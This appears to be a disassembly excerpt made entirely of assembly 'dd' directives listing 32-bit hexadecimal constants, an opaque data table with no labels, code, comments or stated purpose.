		dd 8711C5E8h, 0F35701FAh, 30377830h, 1AFA8B5Bh,	1DB581ADh
		dd 712650D2h, 97658408h, 0B058D0EBh, 758D1B09h,	0A2DE6CF4h
		dd 90C47170h, 5817A5E6h, 0B0774962h, 822986B1h,	0F57326Ah
		dd 0C94E6D01h, 9ED8C244h, 5E442F31h, 35BA88Ah, 0DB230046h
		dd 0AF161A0Eh, 0F5C3A561h, 0B62C1CB3h, 21B2075h, 6FDE53FDh
		dd 0A9F2CD37h, 877B6844h, 0DF08AF69h, 3502FA91h, 9B293ABCh
		dd 2489E43h, 815EAC56h,	9B411E07h, 0F29ECCA8h, 0FDF16125h
		dd 0EBD00E89h, 33820E98h, 0D340BA2h, 2CF5B1ADh,	2EE54D9Ah
		dd 326C5124h, 66011B91h, 88E88CDDh, 0E0553452h,	0CBC3D851h
		dd 7DBDD148h, 0A7D872A6h, 0C2389A26h, 5AFB12A3h, 6C6CC67Ah
		dd 502CBD0Ah, 4111FF83h, 0B36572AFh, 0C48EC909h, 0AD25C03Bh
		dd 0A0534B7Ch, 44133E2h, 0FCAAA0BFh, 9BFEA7BCh,	7E226F39h
		dd 60C465BEh, 5C9BA521h, 8535D2A0h, 0F304293h, 93972CBEh
		dd 73CC6D20h, 887D2B06h, 404AECC9h, 2B2E0248h, 3A34C0B3h
		dd 0BEDD20A8h, 0B270D8ECh, 28AA1DE6h, 4E9732A1h, 5E07977Bh
		dd 996D615Ah, 0A622ACB6h, 6C20A2A4h, 238ED75h, 0AB079985h
		dd 0B64A7323h, 42E33862h, 0D49D0AFDh, 35ED62B7h, 0E79BC738h
		dd 9613FCE0h, 0C22D86A6h, 61052593h, 5A71F563h,	9E85BC28h
		dd 98A1311Dh, 8562FE56h, 6E879D60h, 0EE8E9A56h,	3D3E4B58h
		dd 80847910h, 651AB0E9h, 0F7E2AD3h, 953302B3h, 0BEDA1941h
		dd 0E2239A47h, 16116E3Ch, 0D5A66C05h, 0B6023382h, 3C2E932Bh
		dd 0C2B6FD1Dh, 41FB5231h, 894A95A1h, 8D8C4BC0h,	4D1FB27Ah
		dd 5A5B890Bh, 94E28A07h, 2D12DF9Dh, 0D7328172h,	0AEF32209h
		dd 0F1EC64DAh, 8FD9FC1Eh, 9E311CC1h, 629433Dh, 71AD3159h
		dd 0BE1216FFh, 0BAA6911Dh, 0AB38675h, 7198F348h, 46F3433h
		dd 1E39FD15h, 535806B3h, 9818ED6h, 43796B1Eh, 0B2128876h
		dd 3F104289h, 4B286D6Bh, 0DDE6C649h, 27CEB3E5h,	5CD2CDDAh
		dd 8F26DDA1h, 0A9BCF32Ch, 2F09B820h, 0D50BFC20h, 6F5F300Eh
		dd 0ACE5176h, 0C845906h, 0F54D5102h, 1F5484ECh,	744B130Bh
		dd 150265EDh, 6D613C5Eh, 2E930F4Bh, 0BC4DB026h,	993D3079h
		dd 825A800Dh, 4B3402C4h, 9EF34E4Dh, 0B9D839E9h,	203B8506h
		dd 111A847Ah, 6C093EE2h, 0EBB3525Fh, 0C438B7DFh, 74FE29B8h
		dd 0CC5797B3h, 8FE08A7Ah, 0AA16BA74h, 661307D1h, 0A7231D42h
		dd 87D95AC4h, 5C390C36h, 8BF57369h, 0F7562714h,	5F5AF8B8h
		dd 9F029C33h, 9077515Ah, 3D76BD5Bh, 0FC350EC8h,	4EF2A27Eh
		dd 0DC472B65h, 23C1239Fh, 11849EFh, 0BBE08594h,	16803D4Fh
		dd 5E185F49h, 621D6781h, 92F2C182h, 261E66EBh, 0AB627508h
		dd 6C084A53h, 0AEBD088Ah, 4D76ED48h, 85313965h,	9EB60447h
		dd 9289399Bh, 2C1414Dh,	0BB2588DDh, 21A32AB9h, 11D43107h
		dd 0E3F167BCh, 0B51AE6E1h, 9636B306h, 3FCBA75Ch, 0DB8813A6h
		dd 7D544ACFh, 0C4E044D1h, 8A4673h, 0AF634D43h, 0BB501A95h
		dd 6C68F4D3h, 0E435EB9h, 84402B5Ah, 51C7114Eh, 4CC42CB7h
		dd 424070E6h, 89429924h, 0B1598C3Ch, 0B933BAD2h, 0ECF84099h
		dd 3465F2BFh, 62EA2982h, 71010EEDh, 78F82EC1h, 43EC76DCh
		dd 0CCFA985Eh, 0A91D606Ah, 6F9E4B3Eh, 93C1AC4Ch, 1120A8AAh
		dd 0E218600Bh, 84B44898h, 0B311E868h, 39232F80h, 0AD2BF04Dh
		dd 0FDC902BBh, 0D9AAC9E3h, 0F12E4591h, 0AAD901BBh, 5EEEA9F8h
		dd 0AB2503E2h, 5F5129ECh, 5CBE96E7h, 0E99E03C5h, 0B636A0D5h
		dd 0BFDCDD96h, 103F3AD7h
		dd 77C6BFB4h, 28BEC963h, 7CFB9C44h, 5BC74BB0h, 0A9B06434h
		dd 0A1E9312Fh, 1223D666h, 758BBD67h, 7CD61D4h, 49B7F911h
		dd 3AEE473Dh, 3A335836h, 238F3605h, 5BB4199Ah, 27213927h
		dd 6ADD36E2h, 2B060AC4h, 50166525h, 183C01C7h, 59B6E356h
		dd 0B1E1005Dh, 0A11B3144h, 0F6323B66h, 1F3017EAh, 0A6C72E45h
		dd 9F05F963h, 0F97A1943h, 75927189h, 9249375h, 0AF6E0663h
		dd 0C4066EB1h, 0A78AF180h, 0F9D7CFE2h, 23012811h, 0ACEAA835h
		dd 62C80D1Fh, 0BCE5B023h, 0B73B41DBh, 544020A4h, 9F3F2DD4h
		dd 0A13AB9BFh, 0E8E02EBFh, 3741B54Fh, 65210F9Dh, 411C47C4h
		dd 8EFE3D03h, 30372708h, 3BFF49E5h, 14362FB4h, 85ADE8E8h
		dd 6CCE8B53h, 24434362h, 4AF56475h, 92C4A0FCh, 4695F73Eh
		dd 0A3634B01h, 4D3768EEh, 3287528Fh, 272D8237h,	0DCACAD0h
		dd 62EB2290h, 5A3C8F11h, 42C21369h, 0AE3C04A3h,	996293A9h
		dd 0DF80B6BEh, 0AA104A92h, 45212EAEh, 4FFAE657h, 4D8525E1h
		dd 0FE116595h, 8F6D1291h, 0A9DB7552h, 0B60CA32Eh, 69B5C757h
		dd 46650E08h, 3E9E252Fh, 885329Ah, 65321966h, 0E71C850Bh
		dd 0A00CA981h, 3BFC0962h, 16DD0DFFh, 7DB937B8h,	78980B68h
		dd 0C16525F6h, 2D8DE928h, 1C083E23h, 0CE9C7ACh,	73E5670Dh
		dd 246BDD20h, 32174FE8h, 0A3F9BE2Dh, 7770E9AAh,	5F79368Eh
		dd 0D6B920D8h, 8BC66479h, 40ADDA5h, 405AFE41h, 564C1DD9h
		dd 1CEA48A4h, 0A23BFB38h, 10412AC6h, 0F90240A3h, 363A6BFEh
		dd 47EDE3E5h, 70583EB5h, 67418F73h, 0C99BADD1h,	4D7D7DC6h
		dd 1A334D83h, 0CABF0DB9h, 0CC22F86Dh, 0BDDE0660h, 20E6FD4Dh
		dd 0B8ED2262h, 8F81C4E1h, 6E8214B6h, 7DA2D10h, 71EFF3BFh
		dd 252C230Fh, 0BD59B568h, 0ACE72646h, 66FFD9AEh, 0A0C93A5Dh
		dd 5A3F5F8Eh, 9B43BB84h, 0B0CF493Ah, 0A5EE3425h, 0D79AC546h
		dd 0A7015C45h, 0F96A820Ch, 6FD0AC45h, 0A32B1CA6h, 3B111013h
		dd 77E43665h, 31BC9A0Ah, 76FDA945h, 1BE23484h, 0AF9AF39Ch
		dd 2CB787B5h, 4DAD5D46h, 0F0FB64E7h, 0C8C43256h, 62C19EF9h
		dd 0ADCEEF00h, 3F455178h, 44790C12h, 405EFD25h,	4F2B079Dh
		dd 9759B08Eh, 6E13422Ah, 9CE7CB98h, 0FB03A672h,	6B8865Dh
		dd 6B7701F5h, 3C40886Ah, 2B79FC86h, 78F502F9h, 9BC7637Dh
		dd 923FADF3h, 9C05ED38h, 650998BDh, 6DEDB3A3h, 0C2EB38DAh
		dd 650845D0h, 10F1CF8Eh, 546056D0h, 842F96DBh, 33C3FD48h
		dd 4E46AF1h, 0FC9E13ADh, 82312A4Ah, 408CD83Dh, 304E6659h
		dd 0E8DC3E1h, 352B7BBh,	502C61BAh, 0B0417A44h, 9086AD4Dh
		dd 0A33112E1h, 0ED4CF5A9h, 49435F49h, 66B33EACh, 566ABE35h
		dd 47599987h, 69145A24h, 43CF1DBCh, 8B3C1667h, 0FEDACE4Ch
		dd 0EC8768E5h, 84AC0AF5h, 7FA2FA16h, 0BEE3E32Bh, 7982D49Ah
		dd 173F187Eh, 25E6D0B1h, 0AB609E7h, 0AACF1338h,	2AE551D1h
		dd 0E25E9968h, 103FDC26h, 6CBCB485h, 9E2D3ACCh,	6EDA4ABFh
		dd 745BFBFDh, 75B23E5Bh, 462A06D3h, 0B4153F04h,	108E6C6Ah
		dd 4BA248D9h, 0FDAA95A9h, 1C98C2A1h, 4DD20DABh,	6DB26545h
		dd 4955BDADh, 90C8BF8Ch, 0F9083866h, 0B3E0B067h, 0F7C0A24h
		dd 0B4AC1B5Fh, 0AC941AE1h, 4412B430h, 9B32AE48h, 0BD59B5C7h
		dd 7E634E4Ch, 532C3156h, 30F8E279h, 14F60FE8h, 9E59AC90h
		dd 0A45B1631h, 94A501D9h, 0FBFA6772h, 0DBA5293Eh, 4B1B0A63h
		dd 0A27BE37Eh, 0BB227F70h, 0BD626D5Eh, 0A6413815h, 0A223924Dh
		dd 9869407Dh, 44630360h, 0A9FD003Ah, 0BEBB9A7Ch, 0D9FCD733h
		dd 1247846Ah, 40B1E839h, 0F61C5F31h, 7F2C1CA5h,	146C2AC8h
		dd 585B1416h, 0F6E06310h, 6B82B519h, 5ACF7AB3h,	0B4EDF153h
		dd 6D7E249Dh, 400B2DF1h, 4E7B8B85h, 0B1477B1Ch,	2BBEE02Ah
		dd 0FD75311Eh, 3C9327A1h, 5DB8020Fh, 0AFEACD27h, 6B2E746Fh
		dd 0A3132A1Bh, 78F64205h, 6D7E7717h, 7A44F2A2h,	64C02732h
		dd 4A1B414Eh, 7C2A7DEEh, 9C33620Dh, 28394170h, 0AE8FAD4Dh
		dd 5C328223h, 70293095h, 4F00F656h, 0FC733EAh, 4B36D15Ch
		dd 0EC7EE935h, 8C1D315Dh, 8D3F10B8h, 0A2FDFF65h, 0C0B51D44h
		dd 676343DDh, 5DB72D72h, 6BC7005Dh, 872E63EBh, 5A1A31FCh
		dd 0B31D3A5Fh, 553C2CB4h, 12583A3Dh, 92AD4B2h, 0AB7B3596h
		dd 0B98102BEh, 6BA081BDh, 0AA805D44h, 0C6DB8958h, 442EEE2Ch
		dd 9F030981h, 52BFE0C2h, 6EB705F9h, 626B0AF5h, 6D2C6B5Eh
		dd 0DAD301E1h, 42E4934Ch, 98195769h, 0E22AB072h, 44BDCDD9h
		dd 98216269h, 2F7D0AB4h, 0BB18C601h, 0C124DCAh,	0A4113829h
		dd 0BEF3D13Dh, 5CBCD549h, 0B8FA80B9h, 7622097Eh, 931C403Dh
		dd 4E202B48h, 0D478E935h, 994F515Dh, 5633F2C0h,	28E11DFDh
		dd 997B305Bh, 0BB6119FDh, 0AA2FCF53h, 53F653C3h, 1F082AB9h
		dd 5A1ADE61h, 0DC4D0037h, 699D33B5h, 0E4FEB03Eh, 3D8D0A81h
		dd 721E4D40h, 0ADE40175h, 42164A0Ah, 449B6116h,	4C8328E7h
		dd 0CAE569FBh, 9A4E490Bh, 5F571170h, 3C3BDD1Dh,	4EDBF5Fh
		dd 302A5A89h, 5DA1CA50h, 5A37A9B1h, 0F04BF79Dh,	246E3366h
		dd 821FB350h, 0DE7119F4h, 92FB36BFh, 64A2A602h,	940814DDh
		dd 10BBBC47h, 241C808h,	8F6BB91Ah, 5706D2B3h, 3AF518F9h
		dd 30422DC4h, 1E12D66Ch, 0A42362D5h, 57633440h,	9801E026h
		dd 0AD32D057h, 14C65CA9h, 0B4BB8FB5h, 0AD2CC22Fh, 0AFA8DD5Bh
		dd 5A9AC96Eh, 7E1E68B3h, 0DC03D447h, 9F7D5DEDh,	9242ECA9h
		dd 0AEE61A62h, 67596213h, 4DFE8441h, 0D2FABCEh,	604674BDh
		dd 0A6D20049h, 651E0F0Eh, 92853EAAh, 34510C2Bh,	552F3774h
		dd 6DE2E7Eh, 7F79D3ADh,	72F9E64Ch, 0BADFDFFDh, 65C629A9h
		dd 0FCB8DC91h, 0A2ED3007h, 2EDE803Dh, 11C95945h, 69CEFA4Ch
		dd 5B6E2DB7h, 2A3D2BC7h, 3A10E654h, 5A0FA643h, 0A928FFB2h
		dd 7DFB6F20h, 833F9DD1h, 2E3B2988h, 6207261h, 723A69B4h
		dd 0BB85E321h, 228E317Dh, 7099ED55h, 0EC660A5h,	377D145Dh
		dd 0B4971AE7h, 0DC3605FFh, 0B2DAD910h, 70B40521h, 0B07F90B9h
		dd 0EAFEAD20h, 6AC4DE9Ah, 96CC2ED1h, 0A04AD25h,	199472ECh
		dd 41D116BFh, 882D9458h, 1EFACF73h, 0A5E02CB0h,	5A10DDB7h
		dd 88F90DE1h, 5F3D81BDh, 247E55ADh, 0A2B25867h,	0E416096Eh
		dd 9019CE57h, 0A425FF4Eh, 847B0C70h, 4201D95Ch,	0B4CC0415h
		dd 0AD3DF175h, 6BBEE5A9h, 0A140B5B9h, 0DD2061A0h, 3B626DBEh
		dd 871C49DFh, 0D2AB1143h, 0A6D1DE4Fh, 0BF3C393Dh, 54407C84h
		dd 837A2F9Dh, 3F398EF4h, 81B3DD63h, 0B3E408E7h,	33C959C7h
		dd 55D116E6h, 0F25136B3h, 4F46E39Dh, 56E0C010h,	48353879h
		dd 0EA3084B5h, 26D8B440h, 0B225ED67h, 14C20D82h, 0EAC679E7h
		dd 377C7965h, 0BCEBA83Ch, 430D3581h, 6B127138h,	0D8314396h
		dd 0E31ACC31h, 461BC60Ch, 5F1B0336h, 0AE8AB656h, 7D5B933Ah
		dd 369E5687h, 409C8B1Bh, 0FD566703h, 5896234Ch,	0EB1FF50Ch
		dd 50BE0C02h, 0E2DEDE1h, 0A613635Ch, 0A09A1988h, 92F62822h
		dd 9BCE4BA3h, 4DEC2437h, 0CBCDDBD3h, 2CCEB1FCh,	7F8EB299h
		dd 6A1A281Ah, 4E04391h,	0AE7EA47Ch, 0CF30C630h,	0A0D7D80Eh
		dd 0A86E843Ch, 0D39953B3h, 40BA5390h, 0CAFD25D1h, 203CE81Dh
		dd 79AF44D6h, 0B22378B2h, 0FC26A9C2h, 4F4BE61h,	0E5BB9932h
		dd 19C8CD54h, 9835CC72h, 16B44A5Dh, 63DFEB01h, 945C2438h
		dd 0C91D2F24h, 1C38D344h, 576BDE76h, 55448C40h,	0B62B0F11h
		dd 0BE2F0DE6h, 2627AA62h
		dd 2440E806h, 1BD13928h, 0E1229E86h, 920BE86Ah,	0AEDB3B94h
		dd 0EBED34CFh, 0B1D0C187h, 2C6B4884h, 0C8669CD3h, 0E317E268h
		dd 0B4B107B6h, 62E4ABF2h, 40906195h, 7B11930Eh,	0EE2C966Fh
		dd 0C25B7F4Ah, 0AE8F10B4h, 0A39CA843h, 2FF0FCB9h, 0E73AAB61h
		dd 0B6C7A2E4h, 0D92E7071h, 3E1EA9B5h, 7063DD1Fh, 0A29839C2h
		dd 482340FDh, 0A8E0A843h, 0A4477155h, 62309DBDh, 7EC548DDh
		dd 0E6DD3E10h, 4A3400FDh, 31DEE745h, 720632B1h,	92E151B2h
		dd 831E32BDh, 8B80ED1Fh, 6A5AE479h, 0AC419F9Ch,	0BACE1211h
		dd 0CE204271h, 0E7AE92A9h, 646F3265h, 0C2BEA872h, 7F940DA8h
		dd 0C136A417h, 0F093E074h, 0F812842h, 853FB1A0h, 5AE484F4h
		dd 278A770Fh, 98E441F5h, 2B128728h, 6247A3FCh, 7F518E60h
		dd 0B9F89245h, 92BAFDD8h, 34C415F8h, 4C44C4B8h,	684DABE8h
		dd 8A10BD8Ch, 51ECB74Dh, 0AE686AE6h, 7F492401h,	85070C04h
		dd 0E32E6EA1h, 0F3552872h, 3A42164Ch, 7AB7C6E0h, 42E10BE1h
		dd 0D9F50430h, 55525540h, 0D99F3C76h, 7B204A32h, 0C8D15EB9h
		dd 0EA8885B7h, 0B0287A8Fh, 0E3ACA45Fh, 6370282Ah, 0C070DCD3h
		dd 0B932E62Fh, 0D45D28A4h, 0C8D48AA9h, 1E32D250h, 0FE596166h
		dd 305FF5C4h, 0E310F03Ch, 9DB08C27h, 2A399C5h, 6B360971h
		dd 0C8E4367Dh, 883E4F00h, 0E84B3C23h, 0BA96E709h, 0CACF0E8Ah
		dd 0FFBAFCF5h, 853B0DD6h, 0AAA67FEFh, 0BF49E8A3h, 0ADBD8907h
		dd 0B3D30CF5h, 4AF3C65Eh, 71F5081Ch, 2E023BF4h,	0D833E2FCh
		dd 0E4D7A548h, 1858054Eh, 0B79F9655h, 707C13D0h, 88818A87h
		dd 7B15A2B1h, 823FA6FFh, 0B3B69B9Bh, 0B409353Eh, 64B567FBh
		dd 72882858h, 7D5120B3h, 0AA2B5C40h, 4DCDD74Bh,	0B03A0588h
		dd 676B732Bh, 7EAA45C7h, 0DCD7BA0Dh, 7019DCA9h,	62089303h
		dd 0B174B947h, 0CA4AA424h, 284F2FB2h, 0C38C8B3h, 0CC59841Bh
		dd 0AACCCD4Fh, 6E02B4EDh, 6ED12ABBh, 0D7D1A65h,	0AEA84B30h
		dd 0B4690228h, 42D65DC6h, 18FD397Dh, 0C0D7DD8Dh, 4AF1CD4Eh
		dd 75DAFD39h, 89DA0DD7h, 2C027CD1h, 0CA580432h,	3D0B0D1Dh
		dd 4FC33346h, 84932C77h, 0AA1C2BB3h, 8361D591h,	21232A3h
		dd 739308F1h, 512B606Ch, 3EDD3D01h, 530C9342h, 6FF03AC7h
		dd 0DF41DEB5h, 35EC8A9Dh, 234463DAh, 0AECA6491h, 599AAE19h
		dd 9C046C60h, 0A607AAF2h, 6AAF2607h, 7C3EF996h,	6F0156B8h
		dd 0A6FED475h, 86E6143Ch, 0F24581A3h, 0AD1421h,	0A2888477h
		dd 0AEC23FB4h, 78E593D7h, 2B812D3Fh, 84131D29h,	6C6B2AFCh
		dd 2BEDC80Bh, 10BF7DF8h, 0D62AA29Dh, 0B669F3h, 31910410h
		dd 49263376h, 6028475Eh, 0E6D42FFDh, 26C74F70h,	6A3A72FEh
		dd 0D51D7556h, 1EAFCF88h, 34F024FBh, 0CACBA4EDh, 3086DDBCh
		dd 0C43AF681h, 0E9425E3h, 0CA46ED1Fh, 38DBF0DFh, 3E6A9B65h
		dd 0B0119334h, 0C1EE63ADh, 0C2BB72BDh, 0A2B00442h, 0AB6A213Eh
		dd 343FDD79h, 9C581782h, 0B5ED39AFh, 0B4E5789Dh, 983B1839h
		dd 9F78EB05h, 0B0370EA0h, 67BB4B49h, 0D1DEC689h, 293748CEh
		dd 676C995Ah, 6C753317h, 3BC3FC61h, 309353DAh, 76BDB624h
		dd 41CE1E3Ch, 0BC9A570Eh, 4623253Dh, 0CBC23BFBh, 0B23331B2h
		dd 0CF0F9BE1h, 31F052D7h, 3576779Ah, 0EFFD8A65h, 16475783h
		dd 0A1CEF1F3h, 49294950h, 55592CDBh, 7CA5B5A2h,	69BD1AD3h
		dd 0AEFED9DAh, 5F172364h, 870618CBh, 4F30F5A6h,	0DDF6B84Ch
		dd 3BC516E7h, 1BE106FEh, 780E550Eh, 410753DAh, 6DACB92Dh
		dd 42A22A1Fh, 0CDC7E2EEh, 0CF3F8482h, 0EEB6304Bh, 4A8A3EC1h
		dd 5E74CD0Dh, 307C78C6h, 3BE81759h, 5158E710h, 0E8D10D1h
		dd 0A6775144h, 6EE93838h, 5B5EF619h, 0ADFC4A83h, 0B89ACEB0h
		dd 1C9FD644h, 8C28DC52h, 1F56EE03h, 269C50C7h, 2BBA5544h
		dd 43CE0CECh, 0BA94583Eh, 0C6F6FF25h, 364FEEFAh, 4C3CC3D7h
		dd 33A87431h, 0B049932Eh, 0E702A9C5h, 872375E1h, 0B43E074Dh
		dd 6376B91Dh, 14A1F146h, 0C12A6EBBh, 8B4C0291h,	0A48A4B03h
		dd 66493002h, 23DE6685h, 3A4A0A72h, 853C5550h, 8FD11F83h
		dd 2D2C882Ah, 711C2EEEh, 0E2842CFFh, 79CE5123h,	0E79132Bh
		dd 0D01C8AF5h, 0DF9F1E21h, 556C3BCh, 0AE373329h, 0AECFE1FEh
		dd 0EA1789D9h, 5C3E70FAh, 0AA32384Ah, 69BA890Bh, 8B2DE394h
		dd 45EA29FFh, 2F472DEAh, 0BBC7749Ch, 5E48111Ch,	1C9C83D0h
		dd 59591625h, 51EBB6ADh, 16C0211Fh, 731E277Eh, 0B8DEC310h
		dd 6B4C4BE0h, 86752C76h, 514F4FF8h, 2E32B176h, 0AF269FAh
		dd 0D9BF393Ah, 2BDD1411h, 89870209h, 0A28D9003h, 437F2837h
		dd 963BF575h, 0F911A32Fh, 0ACAD184Ch, 9444C324h, 9886A947h
		dd 0AB60E141h, 0B11431FAh, 70E9F521h, 0A37869D4h, 382DE34Ch
		dd 8CCFFE30h, 5600E57Ch, 5A33AF78h, 9C226D07h, 468E99B2h
		dd 70010C48h, 0DF2F6323h, 48F1CD5Fh, 8E00D542h,	6D033AB8h
		dd 7E124183h, 4ACDAFF5h, 0B0DC0021h, 0AA34410Ch, 787D3F7Ch
		dd 12CA4181h, 0FA23577Eh, 0EB8CCA3Dh, 5D220672h, 81BF261h
		dd 0C6A652B5h, 5675E28Dh, 0E52C633Dh, 0AA2308B0h, 0BC4E7655h
		dd 782F8F2Fh, 886FADC2h, 0CF036919h, 0BD66C161h, 45EDAB07h
		dd 0BED04D99h, 3E83A9EFh, 82F1609Bh, 7FD66BE6h,	0FADE5834h
		dd 0A7745904h, 0DB3573EDh, 152F0FDFh, 153739CCh, 6853FB3Dh
		dd 0AB4FBEB1h, 13B3D358h, 0CE46C07Dh, 77B61B64h, 0FA3BA85Ch
		dd 0E0EC1AA4h, 95C513E7h, 0FE15BB56h, 0B54552E7h, 0D8DA4289h
		dd 0C5AB2B1Bh, 63FB3C77h, 0FAB530D9h, 0E891813Dh, 0D927A545h
		dd 923B3DF9h, 0A9E1DDA2h, 4D7ACC51h, 605DE293h,	0E52380FEh
		dd 0CD2FFAADh, 93764955h, 22B75537h, 73439D24h,	87362A7h
		dd 0C7D89104h, 0DE0EE84Dh, 0AF237715h, 35553DB1h, 3F6B806h
		dd 946C05D2h, 0B31989B1h, 485EC072h, 32C1012Dh,	5AEB9C49h
		dd 2235F240h, 0ADFF32B6h, 91AA21B8h, 25410D29h,	12130AE3h
		dd 4792C65Dh, 99C32BADh, 73404F2Bh, 21356F6Ah, 6576C4EBh
		dd 0ABE7790Ah, 6DBA6AA9h, 0B97DCB1Fh, 5E1FE69Ah, 438F9D81h
		dd 2B02687Fh, 79F50863h, 0F4DF588Ah, 276F4FD6h,	3B7E818h
		dd 0A46DBF78h, 0B75FA40Fh, 217FECDh, 0DE22D0A2h, 8518C3C1h
		dd 1E0B1C88h, 0F26CA956h, 88E349FBh, 0A5DC9DEBh, 0E24495A5h
		dd 0EA4202A1h, 6D1EAA74h, 835334F7h, 5FD3992Fh,	8D2F621Bh
		dd 57393800h, 84DA9A64h, 19872242h, 6DAA3F53h, 72975F0Fh
		dd 7172E18Eh, 0AD7C4EB1h, 0AD4AB5E8h, 672AD7AEh, 0B12ED65Bh
		dd 5B641299h, 0E403351h, 0A452DD43h, 90A77DF5h,	0A23711CFh
		dd 0BD79E42Fh, 0A5F67891h, 83C4229Ah, 90B55128h, 0E0E3695Ah
		dd 56D16A6Ah, 32510317h, 0ECAB9A9h, 7742342Eh, 30E109BDh
		dd 16891A0Eh, 45AC7453h, 721352BCh, 96FB348Dh, 576BC885h
		dd 0B7AD2970h, 0FB6432ADh, 5F7E5CA4h, 836A2C2Bh, 98D8EAFAh
		dd 454AB459h, 1BB6E99Dh, 3B3BE333h, 73A9E639h, 276A8324h
		dd 264EA9F9h, 0B5553543h, 6022239Dh, 59A37EACh,	9D1328E1h
		dd 864D495Ah, 5F31BD87h, 47A14219h, 0BD75511Bh,	0A88222A9h
		dd 5E707DE1h, 4C7E6EB2h, 0EA3699F9h, 0EE328962h, 236A6DCDh
		dd 0A6CA4554h, 0AADAE285h, 337EC531h, 52A9107Dh, 420186B9h
		dd 0DE2682B5h, 0C61529DDh, 0BBBE70ADh, 0CEBA49D5h, 0E28AC38Dh
		dd 0B344654Ch, 0BBBC8DE5h, 82BAB181h, 356C32Dh,	20EA514Dh
		dd 22F65D44h, 82B819ADh, 0A9D0D86Ch, 64176D20h,	0D3762DB2h
		dd 0AC1C0A78h, 8EF41EB4h
		dd 0AA485F40h, 9F8BD3EEh, 0EB150538h, 3D34679Ah, 9C408887h
		dd 7B36CB8Dh, 42F12558h, 47326B31h, 9F38D645h, 997C3398h
		dd 8BF41BCBh, 896F1DF9h, 0C34DDCFDh, 6D5A5195h,	0FE0909E0h
		dd 0BB6B7FC3h, 0ACEA9210h, 2A0894E1h, 5F5A00B9h, 5DAB69F6h
		dd 444D0F51h, 1B81C726h, 6CE423A6h, 54E32DCCh, 0FFF41264h
		dd 0DB31B0FCh, 0C558976h, 0D7F3F15Fh, 7B32DE40h, 61AC791Dh
		dd 0EE350163h, 38AECCC7h, 9973F18Eh, 23860AA6h,	0A592F520h
		dd 15CF112Fh, 1471FCFCh, 760C5DEh, 6BEAA6B2h, 0AA873574h
		dd 0A006B1B7h, 0BE010A06h, 28C308B9h, 0F71A4C02h, 0A2B971AFh
		dd 6BEC4AB3h, 0D8FC5DDBh, 463CB107h, 418B131Bh,	8DE831C1h
		dd 3FBD7258h, 0ECDB418Ch, 0D6E7BC13h, 657A88Eh,	52168556h
		dd 568E1844h, 0E6EC3940h, 31FC4DF8h, 61D553F7h,	5D59AD11h
		dd 317D58DBh, 4E3863A6h, 8FEB3434h, 62285459h, 0BC4F2C64h
		dd 0EC624939h, 6CE3E06Ch, 0B3394BA2h, 4247A9E8h, 0CBDEC4BEh
		dd 0D92C6733h, 8126E365h, 84DD103Bh, 2368AA63h,	0BD76B4F8h
		dd 4D7CE95Ah, 72703BBCh, 36C22C0Eh, 2B50E0FDh, 11D78194h
		dd 9ED3378Eh, 0EC77466Ah, 0CDE6851h, 0E42BE145h, 69473FF5h
		dd 737A2125h, 0CE8282Eh, 653BA3A0h, 65D86F22h, 0BD770D27h
		dd 0BC325D2Eh, 0BB00EF7Eh, 0BD0C306Ah, 22183153h, 2223B05Fh
		dd 6224ED4Ah, 0BB396D4Ch, 0E018D3BBh, 45450139h, 0EB29C6FEh
		dd 753163A2h, 0DED2988Fh, 6D38281Dh, 990E5885h,	9630FE24h
		dd 17162871h, 6EA93CCBh, 8E68125Dh, 0DBF3197Dh,	56A61873h
		dd 5EC20CBDh, 2732FB9h,	5A2C93DAh, 6AD20B5h, 0E080890Dh
		dd 4C1BC9A9h, 5616D19Ah, 0A3DEC17Fh, 6F20CD40h,	5FDFAF53h
		dd 0DE2E340h, 6A3FAC1h,	9CE9F452h, 4333C559h, 0AC9A204Dh
		dd 262C290Dh, 0AE222303h, 0EDF40D4h, 0B6F2A463h, 5215DC4Fh
		dd 0E2201E7h, 0F08FB45Eh, 0E72A6D17h, 9EB723DAh, 0AA42D00Eh
		dd 692EE0B8h, 811DDDh, 617397C4h, 0FC61E61Bh, 45978D20h
		dd 0C0FC8527h, 31489DB2h, 0FC5A81BAh, 95693379h, 0EC039FB2h
		dd 0B9930BB8h, 0D91D8210h, 0EE877151h, 994C51BAh, 65A40506h
		dd 20272691h, 89DE7404h, 16D511F3h, 3D71455Eh, 0AB4905FFh
		dd 40BB3585h, 306D5A25h, 0B56F143Ch, 942E5514h,	0E47265D5h
		dd 0E64FF208h, 11EC93FBh, 0B6C51F47h, 4BB8D061h, 0A606CB4Eh
		dd 0C0E06966h, 5FE728CEh, 0F4F69DF6h, 0C6F37E61h, 5B78CFC5h
		dd 0EFFB53EDh, 90AD3B9Dh, 0D70C31C5h, 5CB07030h, 8F2E594Dh
		dd 93AD399Bh, 2A0230C3h, 4108D261h, 5DF045h, 853C0E99h
		dd 82820DF1h, 94FB5CAEh, 4377F48h, 2C0B6567h, 42B50696h
		dd 0BB06E3BFh, 1BC6096Dh, 0C62E5B28h, 9196EA4Ah, 8A19C61h
		dd 0BB0B40EAh, 26B039F5h, 3C719CADh, 5D2C09B2h,	0BC8D834Fh
		dd 0A69F1429h, 6A32DE12h, 0B46097C1h, 1A84FCBBh, 0DACF15BFh
		dd 62426D1Ch, 0E66928BDh, 76CC5568h, 42F8DC38h,	0BF173ABCh
		dd 0E6ACEC12h, 43A09384h, 2413CB2h, 0AC7A7D0Dh,	6639EA77h
		dd 9B005F3Bh, 0F84AEBFCh, 0B01EC5E3h, 4158106Dh, 0B989F5A8h
		dd 62845638h, 2E0391B6h, 4EA0079Dh, 0AB84670Eh,	0A634B9FAh
		dd 0FC9E8DE8h, 73E563A7h, 4EA86CA6h, 0EB7D0509h, 0A66450F2h
		dd 0A4870549h, 8C98C580h, 7BDFA94Fh, 0A84525C1h, 4555A867h
		dd 9BBA7FD9h, 4F59FFB3h, 0B0A25B53h, 10EEA391h,	0CB6FBD39h
		dd 0A1A70B9Dh, 180AE24Ah, 1734B172h, 0C1C0EC3Fh, 2F85D893h
		dd 0A2333ACh, 3006CB5Dh, 71E5994Ch, 0AA2EC348h,	232B363Ch
		dd 8CE62F28h, 969D0BCFh, 0E36A5902h, 822646BFh,	828CB60Eh
		dd 57F33964h, 0E25F7CA1h, 53452982h, 0AFCC7508h, 32D670A6h
		dd 2B7D33CCh, 0A776D0C3h, 0A9387951h, 0B972DCEEh, 0A97F69h
		dd 5C0672B3h, 0B562AB72h, 9D7F6Bh, 5C0E7AB3h, 59A3876Ch
		dd 0ACDC968Fh, 0B9FF1D81h, 4970F26Dh, 6A41C8BBh, 8A50F774h
